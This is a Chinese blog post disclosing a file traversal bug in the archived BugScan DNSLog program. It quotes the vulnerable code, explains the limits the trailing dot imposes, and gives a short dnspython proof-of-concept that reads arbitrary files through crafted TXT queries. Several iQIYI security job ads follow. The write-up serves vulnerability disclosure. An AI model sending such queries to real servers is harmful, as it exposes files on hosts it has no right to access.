BugScan DNSLog中的一处文件遍历漏洞

https://github.com/BugScanTeam/DNSLog 是一个漏洞检测用的 DNSLog 程序。目前这个项目已经归档,不再更新了。

在其DNS解析的代码中,存在如下片段(可能是开发在测试的时候无意间写入)

https://github.com/BugScanTeam/DNSLog/blob/master/dnslog/zoneresolver.py

if qtype == 'TXT':
    txtpath = os.path.join(tempfile.gettempdir(), str(qname).lower())
    if os.path.isfile(txtpath):
	reply.add_answer(
	    RR(qname, QTYPE.TXT, rdata=TXT(open(txtpath).read().strip())))

可以看到,程序会尝试读取临时文件夹下以qname参数命名的文件,返回TXT记录。然而,qname参数是攻击者可控的的任意字符串。攻击者可以通过 .. 来跨目录,实现读取任意文件。

不过,分析后发现这里利用条件较为苛刻: 首先,命令行工具不允许出现两个点 .. 这样的空Label畸形DNS查询(攻击者可以自己编程发送畸形请求)。同时,发现qname其实是一个dnslib.label.DNSLabel对象, str(qname) 会自动在字符串后面追加一个分隔符 “.” , 这是TXT记录常见的字符串表示。 见 dnslib\label.py

def __str__(self):
    return ".".join([ s.decode() for s in self.label ]) + "."

上述str函数让这个文件读取漏洞的利用价值大打折扣,因为在python的open函数中,无法通过像\x00截断、回车换行符截断,或者是web server用问号带参数的形式,实现截断掉多余的点号。 但是,在Windows下,读取文件的时候,多一个点号也是能读取成功的。 也即: 读 C:\1.txt. 能直接读取到 C:\1.txt 的内容。 所以,虽然是一个鸡肋漏洞,但还是可以成功演示其利用过程。已知在我的Windows系统中, 存在 C:\InstallConfig.ini,编写如下利用代码:

import dns.query


qname = dns.name.Name(('.', './', './', './', './', './', './', './', './InstallConfig.ini'))
_qname = qname.concatenate(dns.name.root)
request = dns.message.make_query(_qname, 'TXT', 1)
request.use_edns(-1, 0, 0)
response = dns.query.udp(request, '127.0.0.1', 10.0, 53, source=None, source_port=0)
print(response)
Windows读取C:\ 文件

如图所示,成功读取到C:\InstallConfig.ini 的内容。 [Install] 后面的内容为该文件内容。

下面示例在Linux系统下读取文件。 为了证明,创建一个 /test.txt. 文件,写入一段文字。改变上述代码中的文件路径

qname = dns.name.Name(('./', './', './', './', './', './', './', './test.txt'))

如图所示,成功读取了 /test.txt. 文件的内容。

可见,文件读取漏洞存在,但因为str函数的表示,让漏洞利用价值较低。 在Windows下可以读取更多文件,但Linux下无法截断点号,暂时只能读取点号. 结尾的文件。

招聘安全实习生(北京-中关村) 2020-11

招聘安全实习生一名,欢迎投递简历。

地点: 北京 – 中关村

技能要求:

1. 理解常见web漏洞:SQL注入、XSS、CSRF、SSRF、上传漏洞、代码(命令)执行、常见业务逻辑缺陷等

2. 熟练使用常见的安全工具: awvs sqlmap nmap burpsuite appscan等

3. 有一定的渗透测试经验,了解常见漏洞的发现、利用、修复

4. 熟练使用一门脚本语言Python、Go等, 熟悉 Linux(shell scripts)。

5. 有Android/iOS客户端漏洞挖掘经验可加分,  熟悉主流web框架可加分,  有代码安全审计经验可加分

实习期间工作内容:

渗透测试(挖漏洞)   安全评估


投递邮箱: lijiejie[at]qiyi.com

爱奇艺安全 招聘 71SRC 安全运营

工作职责

  1. 负责爱奇艺安全应急响应中心(71SRC)的漏洞验证、审核,提出建议改进扫描策略和检测策略
  2. 负责管理71SRC微信公众号、微信群和QQ群。维护和白帽子的良好关系,和各SRC建立畅通的沟通渠道,开展联合运营活动
  3. 负责响应和处理内部检出的各类安全告警,不断优化流程,缩小MTTR指标(告警平均解除时间)
  4. 负责跟进内部漏洞单:提交、验证复核、关闭,协助业务修复漏洞
  5. 负责安全意识宣传: 编写安全通告、组织开展安全意识测试,参与新入职员工安全培训
  6. 提供安全服务的用户支持,如堡垒机服务
  7. 内部扫描器的维护

任职条件

  1. 熟悉常见Web安全漏洞,理解漏洞的成因、危害,提供基本的修复建议
  2. 有Python编程基础,可以理解和编写简单脚本
  3. 具备一定的文字能力,表达清晰,编写安全通告、微信公众号等内容
  4. 性格乐观开朗,内外沟通顺畅

简历请投递 lijiejie[at]qiyi.com

工作地点:北京-中关村

爱奇艺招聘【高级/资深安全工程师】

爱奇艺招聘【高级/资深安全工程师】【北京-中关村】

工作职责:

  1. 参与SDL实施:安全评估、安全设计、渗透测试、安全加固
  2. 负责办公网安全持续建设:域控、邮箱、海量终端设备、关键办公系统的防护、加固、渗透
  3. 主导应急响应工作:具备快速获取情报,高效响应处置的能力。持续完善内部自动化应急响应流程、取证分析流程
  4. 主导爱奇艺内部的季度红蓝演练工作:演练方案的合理制定、执行、跟踪、总结、短板能力的提升
  5. 持续跟踪爱奇艺核心业务的安全风险,参与黑产对抗

要求:

  1. 熟悉常见安全漏洞,渗透测试经验丰富。大型CTF或者各SRC TOP白帽子优先。熟悉Java Web安全优先
  2. 熟悉常见业务威胁场景。能够制定良好的可实施的整体安全方案。有SDL经验优先
  3. 至少熟练掌握一门编程语言:Python/Go/Java/C++。 具备开发简单Web应用、简单POC/EXP的能力
  4. 有长期黑产对抗经验者优先

简历请投递 lijiejie[at]qiyi.com

招聘高级安全开发工程师 (北京-爱奇艺)

爱奇艺安全团队在北京招聘开发工程师,欢迎投递简历。 相应的开发实习生职位,也依然可以申请。

岗位职责

负责内部安全服务的功能开发、持续优化

基本要求

  • 2~5年Python后台开发经验,掌握Django等Web框架
  • 具备相对完整的知识体系:操作系统、数据结构、算法、网络、数据库
  • 熟练使用Linux,可编写shell脚本
  • 熟练使用Python,能够设计实现相对复杂的工程。具备良好的代码风格,掌握程序调试和性能优化
  • 熟练使用MySQL、Redis、MongoDB等数据库,了解常见的数据库优化
  • 掌握JavaScript和CSS:Jquery、AngularJS、Bootstrap等
  • 了解ES、kafka、hadoop、hbase、hive、docker
  • CS和软件工程优先。 有一定漏洞挖掘、应急响应经验者优先。 责任心强

薪资福利

视面试结果

简历投递

lijiejie[at]qiyi.com